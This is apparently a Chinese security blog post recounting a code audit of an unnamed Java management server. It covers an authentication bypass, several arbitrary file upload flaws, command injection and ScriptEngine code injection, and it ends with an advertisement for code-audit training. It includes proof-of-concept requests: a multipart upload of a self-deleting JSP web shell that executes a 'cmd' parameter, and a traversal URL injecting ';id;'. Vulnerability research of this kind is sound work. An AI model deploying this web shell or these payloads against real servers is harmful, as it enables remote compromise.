文章总结: 本文记录对某Java管理服务器的代码审计过程,发现了Spring拦截器鉴权绕过、多处任意文件上传、命令执行及ScriptEngine代码注入高危漏洞。作者详细分析了漏洞成因并提供POC,最终成功提交漏洞并获得CNVD高危证书,文末附带代码审计培训广告。
综合评分: 90
文章分类: 代码审计,漏洞分析,WEB安全,漏洞POC
【JAVA代审】记一次某管理服务器审计拿下CNVD高危证书过程
原创
C@ig0
C@ig0
菜狗安全
2026年2月4日 11:21
福建
点击上方蓝字·关注我们
免责声明
由于传播、利用本公众号菜狗安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号菜狗安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,会立即删除并致歉。
前言
文章首发先知社区,原文链接:https://xz.aliyun.com/news/91471,作者:caigo(本人)
文章目录
代码审计 项目分析 鉴权分析与绕过 任意文件上传 第一处 第二处 第三处 第四处 命令执行 ScriptEngine代码执行证书获取最后
代码审计项目分析
简单看了下项目采用Spring MVC架构,后端controller,前端采用jsp文件映射,数据库技术采用mybatis鉴权分析与绕过通过web.xml关注项目注册filter
没有发现关于权限的filter或servlet,那么查看spring拦截器
代码挺少的,24行设置响应头,允许所有域进行跨域访问(CORS),25行获取当前请求的URL,26行调用CMSCache.Session.getCurrUser处理request,这一看就是获取登录凭据的
27行调用了CMSCache.Session.getBackStageManageUser处理request
这个应该是获取当前后台管理信息用户信息的,回到拦截器
28行第一个if判断,如果用户凭据和后台管理用户信息都为null,那么进入if块
29行初始化stringArray数组,值是opens,有login.do应该是白名单
32-38行,while变量stringArray数组中的元素,判断我们的URL是否包含数组中的元素,包含则返回true,也就是放行
那么这里就出现了鉴权绕过思路,白名单的放行列表中有目录
我们构造这样的路由即可绕过鉴权
http://127.0.0.1/白名单接口/../admin/info.do
任意文件上传
挺多处的,这里演示几处
第一处AppController.java中的uploadFileApp
代码挺短的,410行构建文件上传目录,411-413判断目录是否存在,414获取上传的原始文件名,415生成uuid,416-418判断文件是否存在.存在则提取.后面的内容拼接uuid,419new生成的文件,421调用工具类把数据流写入文件中
整个过程没有检查文件后缀,后缀可控,存在任意文件上传
对应poc
POST /aaa/uploadFileApp.do HTTP/1.1Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflate, br, zstdContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryFfJZ4PlAZBixjELjAccept: */*Connection: close------WebKitFormBoundaryFfJZ4PlAZBixjELjContent-Disposition: form-data; name="file"; filename="test.jsp"Content-Type: image/jpeg<% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b,0,a));}out.print("</pre>");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>------WebKitFormBoundaryFfJZ4PlAZBixjELj--
第二处FaceDataController.java中的actionAdd方法
92-93获取请求参数name和device_id,94行获取元素文件名,95提取文件后缀,96生成uuid,97拼接uuid和获取到的文件后缀生成新文件,98构建文件完整路径,99new文件,101调用FileUtils.copyInputStreamToFile把数据流写入文件中
过程中没有对应文件后缀进行校验存在任意文件上传第三处VcsController.java中的actionCloudAddFile方法
179行获取上传文件的原始文件名,180生成一个新的文件名,使用UUID确保唯一性,并保留原始文件的扩展名,181new对应文件,138调用工具类把数据流写入文件中
过程中未校验文件后缀,存在任意文件上传第四处VcsController.java中的actionCloudModify方法
226-230通过user.getId()获取数据库中现有的组信息,获取现有组的图片路径,检查图片路径是否非空且不是默认图片,如果是非默认图片,则删除服务器上原有的图片文件
231行获取上传文件的原始文件名,232生成一个新的文件名,使用UUID确保唯一性,并保留原始文件的扩展名,233new对应文件,235调用工具类把数据流写入文件中
过程中未校验文件后缀,存在任意文件上传命令执行CMSTools.java中的execCentosCmd方法
process和cmd参数都会调用sh进行命令执行,跟进方法调用
定位到MyThread中的run方法,然后参数是通过构造方法传入,那么寻找new MyThread
定位到SystemController.java中的actionNetworkCmd方法,这里cmd中拼接ip、time、fileName等参数
ip、time通过request.getParameter获取,这里传入type为对应值进入分支构造cmd即可
对应poc
http://127.0.0.1/白名单接口/../aaaaa/actionNetworkCmd.do?type=0&ip=1;id;&time=1
ScriptEngine代码注入CMSTools.java中的isJson方法
new ScriptEngineManager(),选择js引擎,然后调用eval传入json,json通过方法传递,寻找调用
BaseResult.java中的create调用
然后这个方法又通过构造方法调用,那么寻找new BaseResult,没找到
发现主要是继承调用,寻找继承class,挺多的,我这里随便演示个
跟进调用
跟进getRequestJsonString方法实现
通过get或者post接收_json,完全可控证书获取最后提交漏洞平台成功斩获高危证书
最后
有其它问题或者对文章内容有疑问的,可以加作者微信,加交流群的话备注”交流群”
公众号培训广告,有需要可联系(混口饭吃)
新一期课程介绍:菜狗安全《代码审计培训》2026年新征程
JAVA审计闭源专题课表
内容对比上一期会更细点,并且主要围绕企业闭源项目,如果说上一期是CVE随便刷,那么这一轮就是奔着CNVD,CNNVD去了
课程内容涵盖
1、基础篇
-
通用学习路线与指南
-
这个会作为我们新一期课程的第一讲,主要是为师傅们梳理学习的思路,建立一套“以业务为核心,架构为先导”的底层审计逻辑,从而具备审任何语言都能快速上手的通杀能力
-
漏洞的本质
-
审计审计,我们审计的主要是漏洞,那么对于漏洞的理解就显得尤为重要,从漏洞产生的本质出发,理解漏洞,吃透漏洞,会大大提升对于不同类型漏洞的审计关注点,大大提升审计效率
-
闭源项目常见架构审计差异与反编译
-
讲解常见闭源项目的不同架构差异,以及源码到手后的准备工作
-
不同架构项目路由传参以及鉴权装配模式
-
讲解常见闭源项目的不同架构路由配置以及接口构造与参数传递,以及框架特性导致的鉴权装配模式差异
-
JAVAweb开发
-
这一块内容是分割在每节漏洞审计的前置部分,不同于市面上的常规开发课程,通过实际业务分析漏洞产生原因,在实战案例前就学会如何挖漏洞!!!
2、鉴权分析
-
讲解java项目中常见的鉴权方法
-
不同鉴权方式的路由白名单配置
-
以及实战如何绕过鉴权
-
实战情况中存在鉴权绕过的缺陷逻辑
3、常见漏洞审计
-
SQL注入挖掘
-
文件操作类挖掘
-
组件安全审计
-
SSRF审计
-
XXE审计
-
RCE审计篇
-
越权类挖掘
-
……
4、审计番外内容
- ……
这个第一期上过挺多次了,主要还是根据学员的需求来加的
5、企业源码审计实战
选取国内某OA,某ERP,某管理系统,等企业级源码,甚至是我实战中遇到的企业泄露源码(脱敏处理后的),从反编译->项目架构分析->鉴权分析->漏洞审计的完整流程,并且每节都有0day挖掘案例,手把手教学,避免一看就会,一上手就废。
这个模块第一期上了17次直播,也是给学员听爽了,也是修改为常驻,慢慢上
秉承节节有0Day,节节挖0Day,从源码解压到漏洞审计完整流程,现场手把手教学审0day
学员内部福利
1、国内几个源码站会员:9k9k,刀客,小蚂蚁,优选源码,源码庄,狗凯等,如果有需要其他源码站会员可联系我,我看情况开通
2、内部代码审计文档库加配套对应源码(持续更新中)
每篇都是从项目架构分析->鉴权分析->漏洞审计,以思路为主,并非简单漏洞披露,源码类型广
3、一些源码资源
4、不定期抽奖和布置考核任务给予奖品,形成玩中学,学中玩的学习氛围(太多了随便放两张)
考核靶场
4、部分项目(代码审计,渗透测试,讲师,HVV等等)优先推送
5、更多内容筹备中。。。
往期精彩课程(也可以看):
代码审计第一期(JAVA专题)菜狗安全《代码审计培训》双十一优惠开启:手把手0day挖掘教学
价格
哎呀,要不要涨价呢,我给出的回答是,短期内不考虑,目前课程原价依旧1299,一次报名后面可以一直听不会有二次收费,如果是学生确实没啥💴就看B站公开课吧,入门绝对够,付费课有能力再考虑
暂时我也想不到其它问题了,如果有其他疑问可以在群里问,或者私信我
心动不如行动
有需要或者有问题可以加微信,备注“培训”
学员反馈
放几张意思下,还有一堆懒得找了
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:菜狗安全 C@ig0
C@ig0《【JAVA代审】记一次某管理服务器审计拿下CNVD高危证书过程》